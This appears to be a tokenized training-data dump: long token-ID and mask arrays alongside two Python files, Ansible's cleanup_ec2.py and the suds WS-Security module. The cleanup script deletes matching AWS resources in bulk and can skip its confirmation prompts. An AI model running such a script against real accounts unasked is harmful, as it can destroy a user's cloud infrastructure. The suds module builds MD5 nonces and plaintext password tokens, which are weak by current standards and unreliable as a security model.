26790, 965, 949, 4192, 641, 31334, 46, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 713, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 650, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 1366, 370, 295, 964, 4248, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 969, 26, 383, 26, 383, 32655, 10374, 398, 327, 2263, 460, 3865, 267, 291, 423, 2724, 576, 63, 479, 2941, 8769, 14, 7841, 297, 283, 8769, 14, 7221, 995, 6730, 6641, 2051, 582, 413, 12, 298, 1238, 582, 298, 8769, 14, 3710, 401, 298, 955, 582, 2420, 1802, 582, 298, 31438, 19497, 410, 6112, 401, 298, 1213, 582, 298, 24730, 1933, 6112, 3570, 1386, 2420, 2051, 582, 499, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 582, 2420, 11268, 582, 298, 48, 26790, 965, 949, 4192, 641, 31334, 46, 401, 298, 5645, 63, 602, 582, 298, 7968, 13, 1690, 13, 975, 52, 713, 26, 383, 26, 383, 3570, 1386, 2420, 2051, 582, 650, 12, 298, 1238, 582, 298, 8769, 14, 6934, 401, 298, 955, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
edmstudio/ansible
test/integration/cleanup_ec2.py
163
6761
''' Find and delete AWS resources matching the provided --match string. Unless --yes|-y is provided, the prompt for confirmation prior to deleting resources. Please use caution, you can easily delete you're *ENTIRE* EC2 infrastructure. ''' import os import re import sys import boto import optparse import yaml import os.path import boto.ec2.elb import time def delete_aws_resources(get_func, attr, opts): for item in get_func(): val = getattr(item, attr) if re.search(opts.match_re, val): prompt_and_delete(item, "Delete matching %s? [y/n]: " % (item,), opts.assumeyes) def delete_autoscaling_group(get_func, attr, opts): assumeyes = opts.assumeyes group_name = None for item in get_func(): group_name = getattr(item, attr) if re.search(opts.match_re, group_name): if not opts.assumeyes: assumeyes = raw_input("Delete matching %s? [y/n]: " % (item).lower()) == 'y' break if assumeyes and group_name: groups = asg.get_all_groups(names=[group_name]) if groups: group = groups[0] group.max_size = 0 group.min_size = 0 group.desired_capacity = 0 group.update() instances = True while instances: tmp_groups = asg.get_all_groups(names=[group_name]) if tmp_groups: tmp_group = tmp_groups[0] if not tmp_group.instances: instances = False time.sleep(10) group.delete() while len(asg.get_all_groups(names=[group_name])): time.sleep(5) print ("Terminated ASG: %s" % group_name) def delete_aws_eips(get_func, attr, opts): # the file might not be there if the integration test wasn't run try: eip_log = open(opts.eip_log, 'r').read().splitlines() except IOError: print('%s not found.' % opts.eip_log) return for item in get_func(): val = getattr(item, attr) if val in eip_log: prompt_and_delete(item, "Delete matching %s? [y/n]: " % (item,), opts.assumeyes) def delete_aws_instances(reservation, opts): for list in reservation: for item in list.instances: prompt_and_delete(item, "Delete matching %s? [y/n]: " % (item,), opts.assumeyes) def prompt_and_delete(item, prompt, assumeyes): if not assumeyes: assumeyes = raw_input(prompt).lower() == 'y' assert hasattr(item, 'delete') or hasattr(item, 'terminate') , "Class <%s> has no delete or terminate attribute" % item.__class__ if assumeyes: if hasattr(item, 'delete'): item.delete() print ("Deleted %s" % item) if hasattr(item, 'terminate'): item.terminate() print ("Terminated %s" % item) def parse_args(): # Load details from credentials.yml default_aws_access_key = os.environ.get('AWS_ACCESS_KEY', None) default_aws_secret_key = os.environ.get('AWS_SECRET_KEY', None) if os.path.isfile('credentials.yml'): credentials = yaml.load(open('credentials.yml', 'r')) if default_aws_access_key is None: default_aws_access_key = credentials['ec2_access_key'] if default_aws_secret_key is None: default_aws_secret_key = credentials['ec2_secret_key'] parser = optparse.OptionParser(usage="%s [options]" % (sys.argv[0],), description=__doc__) parser.add_option("--access", action="store", dest="ec2_access_key", default=default_aws_access_key, help="Amazon ec2 access id. Can use EC2_ACCESS_KEY environment variable, or a values from credentials.yml.") parser.add_option("--secret", action="store", dest="ec2_secret_key", default=default_aws_secret_key, help="Amazon ec2 secret key. Can use EC2_SECRET_KEY environment variable, or a values from credentials.yml.") parser.add_option("--eip-log", action="store", dest="eip_log", default = None, help = "Path to log of EIPs created during test.") parser.add_option("--integration-config", action="store", dest="int_config", default = "integration_config.yml", help = "path to integration config") parser.add_option("--credentials", "-c", action="store", dest="credential_file", default="credentials.yml", help="YAML file to read cloud credentials (default: %default)") parser.add_option("--yes", "-y", action="store_true", dest="assumeyes", default=False, help="Don't prompt for confirmation") parser.add_option("--match", action="store", dest="match_re", default="^ansible-testing-", help="Regular expression used to find AWS resources (default: %default)") (opts, args) = parser.parse_args() for required in ['ec2_access_key', 'ec2_secret_key']: if getattr(opts, required) is None: parser.error("Missing required parameter: --%s" % required) return (opts, args) if __name__ == '__main__': (opts, args) = parse_args() int_config = yaml.load(open(opts.int_config).read()) if not opts.eip_log: output_dir = os.path.expanduser(int_config["output_dir"]) opts.eip_log = output_dir + '/' + opts.match_re.replace('^','') + '-eip_integration_tests.log' # Connect to AWS aws = boto.connect_ec2(aws_access_key_id=opts.ec2_access_key, aws_secret_access_key=opts.ec2_secret_key) elb = boto.connect_elb(aws_access_key_id=opts.ec2_access_key, aws_secret_access_key=opts.ec2_secret_key) asg = boto.connect_autoscale(aws_access_key_id=opts.ec2_access_key, aws_secret_access_key=opts.ec2_secret_key) try: # Delete matching keys delete_aws_resources(aws.get_all_key_pairs, 'name', opts) # Delete matching security groups delete_aws_resources(aws.get_all_security_groups, 'name', opts) # Delete matching ASGs delete_autoscaling_group(asg.get_all_groups, 'name', opts) # Delete matching launch configs delete_aws_resources(asg.get_all_launch_configurations, 'name', opts) # Delete ELBs delete_aws_resources(elb.get_all_load_balancers, 'name', opts) # Delete recorded EIPs delete_aws_eips(aws.get_all_addresses, 'public_ip', opts) # Delete temporary instances filters = {"tag:Name":opts.match_re.replace('^',''), "instance-state-name": ['running', 'pending', 'stopped' ]} delete_aws_instances(aws.get_all_instances(filters=filters), opts) except KeyboardInterrupt as e: print("\nExiting on user command.")
gpl-3.0
[ 2344, 199, 6591, 436, 3145, 10168, 5944, 4877, 314, 2741, 1553, 1431, 1059, 14, 221, 4158, 199, 306, 5066, 28447, 89, 365, 2741, 12, 314, 8457, 367, 18791, 6791, 370, 13794, 5944, 14, 199, 8254, 675, 1704, 2206, 12, 1265, 883, 16174, 3145, 1265, 3984, 627, 1309, 21201, 10, 15352, 18, 28890, 6976, 14, 199, 2344, 199, 199, 646, 747, 199, 646, 295, 199, 646, 984, 199, 646, 6055, 199, 646, 8691, 199, 646, 8864, 199, 646, 747, 14, 515, 199, 646, 6055, 14, 825, 18, 14, 17778, 199, 646, 900, 199, 199, 318, 3145, 63, 7231, 63, 4435, 8, 362, 63, 1532, 12, 1921, 12, 3999, 304, 272, 367, 1242, 315, 664, 63, 1532, 837, 267, 1139, 275, 2519, 8, 1053, 12, 1921, 9, 267, 340, 295, 14, 1733, 8, 3291, 14, 1431, 63, 264, 12, 1139, 304, 288, 8457, 63, 460, 63, 1807, 8, 1053, 12, 298, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 4706, 3999, 14, 21946, 5066, 9, 199, 199, 318, 3145, 63, 2495, 12153, 63, 923, 8, 362, 63, 1532, 12, 1921, 12, 3999, 304, 272, 5534, 5066, 275, 3999, 14, 21946, 5066, 272, 1572, 63, 354, 275, 488, 272, 367, 1242, 315, 664, 63, 1532, 837, 267, 1572, 63, 354, 275, 2519, 8, 1053, 12, 1921, 9, 267, 340, 295, 14, 1733, 8, 3291, 14, 1431, 63, 264, 12, 1572, 63, 354, 304, 288, 340, 440, 3999, 14, 21946, 5066, 26, 355, 5534, 5066, 275, 3066, 63, 1210, 480, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 680, 2325, 1012, 508, 283, 89, 7, 288, 2059, 272, 340, 5534, 5066, 436, 1572, 63, 354, 26, 267, 4652, 275, 465, 71, 14, 362, 63, 452, 63, 2634, 8, 1247, 1524, 923, 63, 354, 566, 267, 340, 4652, 26, 288, 1572, 275, 4652, 59, 16, 61, 288, 1572, 14, 988, 63, 890, 275, 378, 288, 1572, 14, 827, 63, 890, 275, 378, 288, 1572, 14, 16035, 63, 10457, 275, 378, 288, 1572, 14, 873, 342, 288, 4454, 275, 715, 288, 1830, 4454, 26, 355, 3529, 63, 2634, 275, 465, 71, 14, 362, 63, 452, 63, 2634, 8, 1247, 1524, 923, 63, 354, 566, 355, 340, 3529, 63, 2634, 26, 490, 3529, 63, 923, 275, 3529, 63, 2634, 59, 16, 61, 490, 340, 440, 3529, 63, 923, 14, 5990, 26, 2432, 4454, 275, 756, 355, 900, 14, 4532, 8, 709, 9, 953, 1572, 14, 1807, 342, 288, 1830, 822, 8, 305, 71, 14, 362, 63, 452, 63, 2634, 8, 1247, 1524, 923, 63, 354, 18710, 355, 900, 14, 4532, 8, 21, 9, 288, 870, 1689, 12154, 972, 437, 4254, 26, 450, 83, 2, 450, 1572, 63, 354, 9, 199, 199, 318, 3145, 63, 7231, 63, 69, 6142, 8, 362, 63, 1532, 12, 1921, 12, 3999, 304, 339, 327, 314, 570, 5594, 440, 506, 2337, 340, 314, 13150, 511, 17373, 1133, 1255, 272, 862, 26, 489, 325, 711, 63, 793, 275, 1551, 8, 3291, 14, 69, 711, 63, 793, 12, 283, 82, 1959, 739, 1252, 7644, 342, 272, 871, 5925, 26, 489, 870, 3508, 83, 440, 1911, 3530, 450, 3999, 14, 69, 711, 63, 793, 9, 489, 372, 339, 367, 1242, 315, 664, 63, 1532, 837, 267, 1139, 275, 2519, 8, 1053, 12, 1921, 9, 267, 340, 1139, 315, 325, 711, 63, 793, 26, 881, 8457, 63, 460, 63, 1807, 8, 1053, 12, 298, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 4706, 3999, 14, 21946, 5066, 9, 199, 199, 318, 3145, 63, 7231, 63, 5990, 8, 20522, 12, 3999, 304, 272, 367, 769, 315, 25476, 26, 267, 367, 1242, 315, 769, 14, 5990, 26, 288, 8457, 63, 460, 63, 1807, 8, 1053, 12, 298, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 4706, 3999, 14, 21946, 5066, 9, 199, 199, 318, 8457, 63, 460, 63, 1807, 8, 1053, 12, 8457, 12, 5534, 5066, 304, 272, 340, 440, 5534, 5066, 26, 267, 5534, 5066, 275, 3066, 63, 1210, 8, 7650, 680, 2325, 342, 508, 283, 89, 7, 272, 702, 2688, 8, 1053, 12, 283, 1807, 358, 503, 2688, 8, 1053, 12, 283, 14478, 358, 2360, 298, 2543, 21808, 83, 30, 965, 949, 3145, 503, 15095, 2225, 2, 450, 1242, 855, 533, 363, 272, 340, 5534, 5066, 26, 267, 340, 221, 2688, 8, 1053, 12, 283, 1807, 735, 288, 1242, 14, 1807, 342, 288, 870, 1689, 17735, 450, 83, 2, 450, 1242, 9, 267, 340, 221, 2688, 8, 1053, 12, 283, 14478, 735, 288, 1242, 14, 14478, 342, 288, 870, 1689, 12154, 972, 450, 83, 2, 450, 1242, 9, 199, 199, 318, 2198, 63, 589, 837, 272, 327, 7190, 2436, 687, 6235, 14, 11714, 272, 849, 63, 7231, 63, 2732, 63, 498, 275, 747, 14, 2314, 14, 362, 360, 13226, 63, 11074, 63, 3078, 297, 488, 9, 272, 849, 63, 7231, 63, 4731, 63, 498, 275, 747, 14, 2314, 14, 362, 360, 13226, 63, 12961, 63, 3078, 297, 488, 9, 272, 340, 747, 14, 515, 14, 6292, 360, 6942, 14, 11714, 735, 267, 6235, 275, 8864, 14, 912, 8, 1490, 360, 6942, 14, 11714, 297, 283, 82, 1333, 398, 340, 849, 63, 7231, 63, 2732, 63, 498, 365, 488, 26, 288, 849, 63, 7231, 63, 2732, 63, 498, 275, 6235, 459, 825, 18, 63, 2732, 63, 498, 418, 267, 340, 849, 63, 7231, 63, 4731, 63, 498, 365, 488, 26, 288, 849, 63, 7231, 63, 4731, 63, 498, 275, 6235, 459, 825, 18, 63, 4731, 63, 498, 418, 339, 1798, 275, 8691, 14, 14553, 8, 3807, 5961, 83, 359, 1419, 8480, 450, 334, 1274, 14, 3020, 59, 16, 467, 395, 355, 1369, 18971, 1301, 3368, 272, 1798, 14, 525, 63, 1422, 6739, 2732, 401, 267, 1595, 628, 1617, 401, 2053, 628, 825, 18, 63, 2732, 63, 498, 401, 267, 849, 29, 885, 63, 7231, 63, 2732, 63, 498, 12, 267, 1720, 628, 33, 8872, 7062, 18, 2879, 1305, 14, 221, 6855, 675, 15352, 18, 63, 11074, 63, 3078, 3734, 1750, 12, 503, 282, 1338, 687, 6235, 14, 11714, 2685, 272, 1798, 14, 525, 63, 1422, 6739, 4731, 401 ]
[ 199, 6591, 436, 3145, 10168, 5944, 4877, 314, 2741, 1553, 1431, 1059, 14, 221, 4158, 199, 306, 5066, 28447, 89, 365, 2741, 12, 314, 8457, 367, 18791, 6791, 370, 13794, 5944, 14, 199, 8254, 675, 1704, 2206, 12, 1265, 883, 16174, 3145, 1265, 3984, 627, 1309, 21201, 10, 15352, 18, 28890, 6976, 14, 199, 2344, 199, 199, 646, 747, 199, 646, 295, 199, 646, 984, 199, 646, 6055, 199, 646, 8691, 199, 646, 8864, 199, 646, 747, 14, 515, 199, 646, 6055, 14, 825, 18, 14, 17778, 199, 646, 900, 199, 199, 318, 3145, 63, 7231, 63, 4435, 8, 362, 63, 1532, 12, 1921, 12, 3999, 304, 272, 367, 1242, 315, 664, 63, 1532, 837, 267, 1139, 275, 2519, 8, 1053, 12, 1921, 9, 267, 340, 295, 14, 1733, 8, 3291, 14, 1431, 63, 264, 12, 1139, 304, 288, 8457, 63, 460, 63, 1807, 8, 1053, 12, 298, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 4706, 3999, 14, 21946, 5066, 9, 199, 199, 318, 3145, 63, 2495, 12153, 63, 923, 8, 362, 63, 1532, 12, 1921, 12, 3999, 304, 272, 5534, 5066, 275, 3999, 14, 21946, 5066, 272, 1572, 63, 354, 275, 488, 272, 367, 1242, 315, 664, 63, 1532, 837, 267, 1572, 63, 354, 275, 2519, 8, 1053, 12, 1921, 9, 267, 340, 295, 14, 1733, 8, 3291, 14, 1431, 63, 264, 12, 1572, 63, 354, 304, 288, 340, 440, 3999, 14, 21946, 5066, 26, 355, 5534, 5066, 275, 3066, 63, 1210, 480, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 680, 2325, 1012, 508, 283, 89, 7, 288, 2059, 272, 340, 5534, 5066, 436, 1572, 63, 354, 26, 267, 4652, 275, 465, 71, 14, 362, 63, 452, 63, 2634, 8, 1247, 1524, 923, 63, 354, 566, 267, 340, 4652, 26, 288, 1572, 275, 4652, 59, 16, 61, 288, 1572, 14, 988, 63, 890, 275, 378, 288, 1572, 14, 827, 63, 890, 275, 378, 288, 1572, 14, 16035, 63, 10457, 275, 378, 288, 1572, 14, 873, 342, 288, 4454, 275, 715, 288, 1830, 4454, 26, 355, 3529, 63, 2634, 275, 465, 71, 14, 362, 63, 452, 63, 2634, 8, 1247, 1524, 923, 63, 354, 566, 355, 340, 3529, 63, 2634, 26, 490, 3529, 63, 923, 275, 3529, 63, 2634, 59, 16, 61, 490, 340, 440, 3529, 63, 923, 14, 5990, 26, 2432, 4454, 275, 756, 355, 900, 14, 4532, 8, 709, 9, 953, 1572, 14, 1807, 342, 288, 1830, 822, 8, 305, 71, 14, 362, 63, 452, 63, 2634, 8, 1247, 1524, 923, 63, 354, 18710, 355, 900, 14, 4532, 8, 21, 9, 288, 870, 1689, 12154, 972, 437, 4254, 26, 450, 83, 2, 450, 1572, 63, 354, 9, 199, 199, 318, 3145, 63, 7231, 63, 69, 6142, 8, 362, 63, 1532, 12, 1921, 12, 3999, 304, 339, 327, 314, 570, 5594, 440, 506, 2337, 340, 314, 13150, 511, 17373, 1133, 1255, 272, 862, 26, 489, 325, 711, 63, 793, 275, 1551, 8, 3291, 14, 69, 711, 63, 793, 12, 283, 82, 1959, 739, 1252, 7644, 342, 272, 871, 5925, 26, 489, 870, 3508, 83, 440, 1911, 3530, 450, 3999, 14, 69, 711, 63, 793, 9, 489, 372, 339, 367, 1242, 315, 664, 63, 1532, 837, 267, 1139, 275, 2519, 8, 1053, 12, 1921, 9, 267, 340, 1139, 315, 325, 711, 63, 793, 26, 881, 8457, 63, 460, 63, 1807, 8, 1053, 12, 298, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 4706, 3999, 14, 21946, 5066, 9, 199, 199, 318, 3145, 63, 7231, 63, 5990, 8, 20522, 12, 3999, 304, 272, 367, 769, 315, 25476, 26, 267, 367, 1242, 315, 769, 14, 5990, 26, 288, 8457, 63, 460, 63, 1807, 8, 1053, 12, 298, 5392, 4877, 450, 83, 31, 359, 89, 15, 78, 2189, 298, 450, 334, 1053, 4706, 3999, 14, 21946, 5066, 9, 199, 199, 318, 8457, 63, 460, 63, 1807, 8, 1053, 12, 8457, 12, 5534, 5066, 304, 272, 340, 440, 5534, 5066, 26, 267, 5534, 5066, 275, 3066, 63, 1210, 8, 7650, 680, 2325, 342, 508, 283, 89, 7, 272, 702, 2688, 8, 1053, 12, 283, 1807, 358, 503, 2688, 8, 1053, 12, 283, 14478, 358, 2360, 298, 2543, 21808, 83, 30, 965, 949, 3145, 503, 15095, 2225, 2, 450, 1242, 855, 533, 363, 272, 340, 5534, 5066, 26, 267, 340, 221, 2688, 8, 1053, 12, 283, 1807, 735, 288, 1242, 14, 1807, 342, 288, 870, 1689, 17735, 450, 83, 2, 450, 1242, 9, 267, 340, 221, 2688, 8, 1053, 12, 283, 14478, 735, 288, 1242, 14, 14478, 342, 288, 870, 1689, 12154, 972, 450, 83, 2, 450, 1242, 9, 199, 199, 318, 2198, 63, 589, 837, 272, 327, 7190, 2436, 687, 6235, 14, 11714, 272, 849, 63, 7231, 63, 2732, 63, 498, 275, 747, 14, 2314, 14, 362, 360, 13226, 63, 11074, 63, 3078, 297, 488, 9, 272, 849, 63, 7231, 63, 4731, 63, 498, 275, 747, 14, 2314, 14, 362, 360, 13226, 63, 12961, 63, 3078, 297, 488, 9, 272, 340, 747, 14, 515, 14, 6292, 360, 6942, 14, 11714, 735, 267, 6235, 275, 8864, 14, 912, 8, 1490, 360, 6942, 14, 11714, 297, 283, 82, 1333, 398, 340, 849, 63, 7231, 63, 2732, 63, 498, 365, 488, 26, 288, 849, 63, 7231, 63, 2732, 63, 498, 275, 6235, 459, 825, 18, 63, 2732, 63, 498, 418, 267, 340, 849, 63, 7231, 63, 4731, 63, 498, 365, 488, 26, 288, 849, 63, 7231, 63, 4731, 63, 498, 275, 6235, 459, 825, 18, 63, 4731, 63, 498, 418, 339, 1798, 275, 8691, 14, 14553, 8, 3807, 5961, 83, 359, 1419, 8480, 450, 334, 1274, 14, 3020, 59, 16, 467, 395, 355, 1369, 18971, 1301, 3368, 272, 1798, 14, 525, 63, 1422, 6739, 2732, 401, 267, 1595, 628, 1617, 401, 2053, 628, 825, 18, 63, 2732, 63, 498, 401, 267, 849, 29, 885, 63, 7231, 63, 2732, 63, 498, 12, 267, 1720, 628, 33, 8872, 7062, 18, 2879, 1305, 14, 221, 6855, 675, 15352, 18, 63, 11074, 63, 3078, 3734, 1750, 12, 503, 282, 1338, 687, 6235, 14, 11714, 2685, 272, 1798, 14, 525, 63, 1422, 6739, 4731, 401, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Quikling/gpdb
src/test/tinc/ext/suds/wsse.py
195
5981
# This program is free software; you can redistribute it and/or modify # it under the terms of the (LGPL) GNU Lesser General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Library Lesser General Public License for more details at # ( http://www.gnu.org/licenses/lgpl.html ). # # You should have received a copy of the GNU Lesser General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # written by: Jeff Ortel ( jortel@redhat.com ) """ The I{wsse} module provides WS-Security. """ from logging import getLogger from suds import * from suds.sudsobject import Object from suds.sax.element import Element from suds.sax.date import UTC from datetime import datetime, timedelta try: from hashlib import md5 except ImportError: # Python 2.4 compatibility from md5 import md5 dsns = \ ('ds', 'http://www.w3.org/2000/09/xmldsig#') wssens = \ ('wsse', 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd') wsuns = \ ('wsu', 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd') wsencns = \ ('wsenc', 'http://www.w3.org/2001/04/xmlenc#') class Security(Object): """ WS-Security object. @ivar tokens: A list of security tokens @type tokens: [L{Token},...] @ivar signatures: A list of signatures. @type signatures: TBD @ivar references: A list of references. @type references: TBD @ivar keys: A list of encryption keys. @type keys: TBD """ def __init__(self): """ """ Object.__init__(self) self.mustUnderstand = True self.tokens = [] self.signatures = [] self.references = [] self.keys = [] def xml(self): """ Get xml representation of the object. @return: The root node. @rtype: L{Element} """ root = Element('Security', ns=wssens) root.set('mustUnderstand', str(self.mustUnderstand).lower()) for t in self.tokens: root.append(t.xml()) return root class Token(Object): """ I{Abstract} security token. """ @classmethod def now(cls): return datetime.now() @classmethod def utc(cls): return datetime.utcnow() @classmethod def sysdate(cls): utc = UTC() return str(utc) def __init__(self): Object.__init__(self) class UsernameToken(Token): """ Represents a basic I{UsernameToken} WS-Secuirty token. @ivar username: A username. @type username: str @ivar password: A password. @type password: str @ivar nonce: A set of bytes to prevent reply attacks. @type nonce: str @ivar created: The token created. @type created: L{datetime} """ def __init__(self, username=None, password=None): """ @param username: A username. @type username: str @param password: A password. @type password: str """ Token.__init__(self) self.username = username self.password = password self.nonce = None self.created = None def setnonce(self, text=None): """ Set I{nonce} which is arbitraty set of bytes to prevent reply attacks. @param text: The nonce text value. Generated when I{None}. @type text: str """ if text is None: s = [] s.append(self.username) s.append(self.password) s.append(Token.sysdate()) m = md5() m.update(':'.join(s)) self.nonce = m.hexdigest() else: self.nonce = text def setcreated(self, dt=None): """ Set I{created}. @param dt: The created date & time. Set as datetime.utc() when I{None}. @type dt: L{datetime} """ if dt is None: self.created = Token.utc() else: self.created = dt def xml(self): """ Get xml representation of the object. @return: The root node. @rtype: L{Element} """ root = Element('UsernameToken', ns=wssens) u = Element('Username', ns=wssens) u.setText(self.username) root.append(u) p = Element('Password', ns=wssens) p.setText(self.password) root.append(p) if self.nonce is not None: n = Element('Nonce', ns=wssens) n.setText(self.nonce) root.append(n) if self.created is not None: n = Element('Created', ns=wsuns) n.setText(str(UTC(self.created))) root.append(n) return root class Timestamp(Token): """ Represents the I{Timestamp} WS-Secuirty token. @ivar created: The token created. @type created: L{datetime} @ivar expires: The token expires. @type expires: L{datetime} """ def __init__(self, validity=90): """ @param validity: The time in seconds. @type validity: int """ Token.__init__(self) self.created = Token.utc() self.expires = self.created + timedelta(seconds=validity) def xml(self): root = Element("Timestamp", ns=wsuns) created = Element('Created', ns=wsuns) created.setText(str(UTC(self.created))) expires = Element('Expires', ns=wsuns) expires.setText(str(UTC(self.expires))) root.append(created) root.append(expires) return root
apache-2.0
[ 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 334, 44, 12006, 9, 1664, 6401, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 221, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 11243, 6401, 1696, 1684, 844, 367, 1655, 2436, 737, 199, 3, 334, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 14, 1360, 7092, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8155, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 3, 5313, 701, 26, 1603, 3609, 4236, 14146, 334, 1335, 269, 14146, 32, 17164, 14, 957, 776, 199, 199, 624, 199, 1918, 473, 91, 3569, 261, 93, 859, 6571, 644, 51, 13, 7676, 14, 199, 624, 199, 199, 504, 2050, 492, 28138, 199, 504, 30713, 492, 627, 199, 504, 30713, 14, 9648, 795, 785, 492, 6935, 199, 504, 30713, 14, 14338, 14, 2108, 492, 6566, 199, 504, 30713, 14, 14338, 14, 602, 492, 12174, 199, 504, 2197, 492, 2197, 12, 6871, 199, 199, 893, 26, 272, 687, 8337, 492, 6128, 21, 199, 2590, 3545, 26, 272, 327, 2018, 499, 14, 20, 7163, 272, 687, 6128, 21, 492, 6128, 21, 421, 199, 795, 561, 275, 971, 272, 661, 795, 297, 1362, 283, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8269, 15, 1643, 15, 1652, 68, 4093, 3, 358, 199, 3569, 22891, 275, 971, 272, 661, 3569, 261, 297, 221, 1362, 